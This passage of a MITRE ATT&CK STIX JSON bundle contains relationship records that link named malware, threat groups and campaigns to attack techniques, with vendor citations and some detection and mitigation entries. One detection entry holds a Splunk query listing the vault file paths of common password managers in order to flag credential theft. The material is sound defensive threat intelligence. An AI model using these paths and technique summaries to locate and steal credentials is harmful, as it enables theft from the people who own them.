            "revoked": false,
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                {
                    "source_name": "ClearSky Lazarus Aug 2020",
                    "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:11:11.745Z",
            "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) gathered victim organization information to identify specific targets.(Citation: ClearSky Lazarus Aug 2020)",
            "relationship_type": "uses",
            "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b",
            "target_ref": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--44494749-870a-4ca5-beee-85d88f78a693",
            "created": "2024-03-11T19:06:01.585Z",
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            "revoked": false,
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                {
                    "source_name": "Mandiant Cutting Edge Part 2 January 2024",
                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"
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            ],
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            ],
            "modified": "2025-04-16T22:11:11.951Z",
            "description": "[ZIPLINE](https://attack.mitre.org/software/S1114) can communicate with C2 using a custom binary protocol.(Citation: Mandiant Cutting Edge Part 2 January 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ",
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            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--44533bc7-0368-4269-b465-7e08d3a8beea",
            "created": "2020-05-26T18:03:17.295Z",
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            "revoked": false,
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                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"
                },
                {
                    "source_name": "ESET Casbaneiro Oct 2019",
                    "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.",
                    "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"
                }
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            ],
            "modified": "2025-04-16T22:11:12.418Z",
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has side-loaded its malicious DLL file.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ",
            "relationship_type": "uses",
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "revoked": false,
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                {
                    "source_name": "CISA Iran Albanian Attacks September 2022",
                    "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"
                },
                {
                    "source_name": "Microsoft Albanian Government Attacks September 2022",
                    "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"
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            "modified": "2025-04-16T22:11:12.631Z",
            "description": "(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--44577477-b599-46f0-84bf-7e0de773d848",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "US-CERT BLINDINGCAN Aug 2020",
                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:45:23.053Z",
            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "id": "relationship--4458ca35-0285-408b-9059-62c36086fd0a",
            "created": "2020-05-05T18:47:47.353Z",
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                {
                    "source_name": "Imminent Unit42 Dec2019",
                    "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:45:23.254Z",
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a \"Process Watcher\" feature to monitor processes in case the client ever crashes or gets closed.(Citation: Imminent Unit42 Dec2019)",
            "relationship_type": "uses",
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            "modified": "2025-04-28T15:45:25.019Z",
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                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
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                    "source_name": "Palo Alto Gamaredon Feb 2017",
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                    "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021.",
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                    "description": "Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.",
                    "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"
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                {
                    "source_name": "Elastic Pikabot 2024",
                    "description": "Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.",
                    "url": "https://www.elastic.co/security-labs/pikabot-i-choose-you"
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                    "source_name": "Logpoint Pikabot 2024",
                    "description": "Swachchhanda Shrawan Poudel. (2024, February). Pikabot: \u2028 A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.",
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                    "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.",
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            "modified": "2025-04-16T22:11:17.603Z",
            "description": "[MacMa](https://attack.mitre.org/software/S1016) has stored collected files locally before exfiltration.(Citation: Objective-See MacMa Nov 2021)",
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                    "source_name": "Bitdefender FunnyDream Campaign November 2020",
                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
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            "description": "The [FunnyDream](https://attack.mitre.org/software/S1044) FilepakMonitor component can inject into the Bka.exe process using the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` APIs to load the DLL component.(Citation: Bitdefender FunnyDream Campaign November 2020)",
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                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
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            "description": "[SideTwist](https://attack.mitre.org/software/S0610) has the ability to search for specific files.(Citation: Check Point APT34 April 2021)",
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                    "source_name": "Kaspersky TajMahal April 2019",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
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            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.(Citation: Kaspersky TajMahal April 2019)",
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
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                    "source_name": "Microsoft Iranian Threat Actor Trends November 2021",
                    "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.",
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            "spec_version": "2.1",
            "id": "relationship--48c9c2f3-9358-4342-88b7-57c8e5df893b",
            "created": "2021-02-17T20:27:27.420Z",
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                {
                    "source_name": "IBM MegaCortex",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/"
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            "modified": "2025-04-28T15:46:10.689Z",
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has deleted volume shadow copies using <code>vssadmin.exe</code>.(Citation: IBM MegaCortex)",
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                    "description": "M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.",
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            "description": "During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware.(Citation: ESET Operation Spalax Jan 2021) ",
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                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
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            "description": "[CharmPower](https://attack.mitre.org/software/S0674) can exfiltrate gathered data to a hardcoded C2 URL via HTTP POST.(Citation: Check Point APT35 CharmPower January 2022)",
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                    "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.",
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            "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can collect information and files from a compromised host.(Citation: Lunghi Iron Tiger Linux)",
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            "revoked": false,
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                {
                    "source_name": "PWC Yellow Liderc 2023",
                    "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.",
                    "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"
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            "description": "[CURIUM](https://attack.mitre.org/groups/G1012) has compromised legitimate websites to enable strategic website compromise attacks.(Citation: PWC Yellow Liderc 2023)",
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                    "source_name": "US-CERT BLINDINGCAN Aug 2020",
                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
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            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has obfuscated code using Base64 encoding.(Citation: US-CERT BLINDINGCAN Aug 2020)",
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                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.",
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                    "url": "https://objective-see.com/blog/blog_0x68.html"
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                    "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved November 17, 2024.",
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                    "source_name": "ASERT Donot March 2018",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4975593a-cae8-46f8-89c1-94d2115dd14c",
            "created": "2022-03-30T14:26:51.850Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:18.467Z",
            "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may attempt to hide artifacts associated with their behaviors to evade detection. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4975b6f9-c542-4ad9-bfeb-6182c4db895f",
            "created": "2023-01-26T18:46:43.538Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "SentinelLabs Metador Sept 2022",
                    "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.",
                    "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:34.958Z",
            "description": "[Mafalda](https://attack.mitre.org/software/S1060) can decrypt files and data.(Citation: SentinelLabs Metador Sept 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--497ab7d8-df5c-4b51-8a8b-1d632a0536e5",
            "created": "2022-03-30T14:26:51.860Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "ise Password Manager February 2019",
                    "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
                    "url": "https://www.ise.io/casestudies/password-manager-hacking/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:35.168Z",
            "description": "Monitor file reads that may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)\n\nAnalytic 1 - Unauthorized access to password manager files.\n\n<code> index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") EventCode IN (1, 4663)\n(file_path IN (\"*\\\\AppData\\\\Local\\\\Keepass\\\\*.kdbx\", \"*\\\\AppData\\\\Local\\\\LastPass\\\\*.lpvault\", \"*\\\\AppData\\\\Local\\\\1Password\\\\*.agilekeychain\", \"*\\\\AppData\\\\Local\\\\Bitwarden\\\\*.json\", \"*\\\\AppData\\\\Local\\\\Dashlane\\\\*.db\", \"*\\\\AppData\\\\Local\\\\PasswordSafe\\\\*.psafe3\", \"/home/*/.keepass/*.kdbx\", \"/home/*/.lastpass/*.lpvault\", \"/home/*/.1password/*.agilekeychain\", \"/home/*/.bitwarden/*.json\", \"/home/*/.dashlane/*.db\", \"/home/*/.passwordsafe/*.psafe3\"))</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
            "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--497aec05-cb34-424d-943f-4fdfbf2585b4",
            "created": "2020-05-14T15:35:08.806Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:18.844Z",
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) decompresses ZIP files once on the victim machine.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--497c12c8-1cdf-4c1e-9624-83438ef770a2",
            "created": "2021-01-27T19:37:49.490Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET EvilNum July 2020",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.",
                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:19.022Z",
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used PowerShell to bypass UAC.(Citation: ESET EvilNum July 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--49855593-a473-4fd8-a40e-9b2435121208",
            "created": "2021-09-07T14:18:54.984Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Kaspersky Transparent Tribe August 2020",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/"
                },
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                },
                {
                    "source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022",
                    "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:35.811Z",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) has the ability to delete files from a compromised host.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)\t ",
            "relationship_type": "uses",
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4988b61b-6496-4a74-9d91-e1d3b352f5ef",
            "created": "2022-03-30T14:26:51.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:19.291Z",
            "description": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
            "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--498c599b-99ed-477d-afe8-2a6714506934",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Symantec Vasport May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:19.472Z",
            "description": "[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.(Citation: Symantec Vasport May 2012)",
            "relationship_type": "uses",
            "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4990cf9a-9041-45c6-9d31-232ddb770341",
            "created": "2019-01-30T17:48:35.646Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:19.659Z",
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.(Citation: McAfee Night Dragon)",
            "relationship_type": "uses",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--49944838-b6f8-4e1c-94d4-5b70cb436700",
            "created": "2021-06-11T16:48:44.900Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:19.841Z",
            "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can enumerate the current process on a compromised host.(Citation: Malwarebytes Kimsuky June 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--49957d89-7449-476a-b542-d7811a86c230",
            "created": "2017-05-31T21:33:27.032Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:36.661Z",
            "description": "(Citation: Cylance Cleaver)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "target_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4995fdc6-d705-48dc-a2e3-c6797ba2439f",
            "created": "2022-04-06T18:19:08.461Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "MalwareBytes LazyScripter Feb 2021",
                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:12:36.863Z",
            "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has lured users to open malicious email attachments.(Citation: MalwareBytes LazyScripter Feb 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 C0d0so0 Jan 2016",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:46:20.206Z",
            "description": "An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.(Citation: Unit 42 C0d0so0 Jan 2016)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
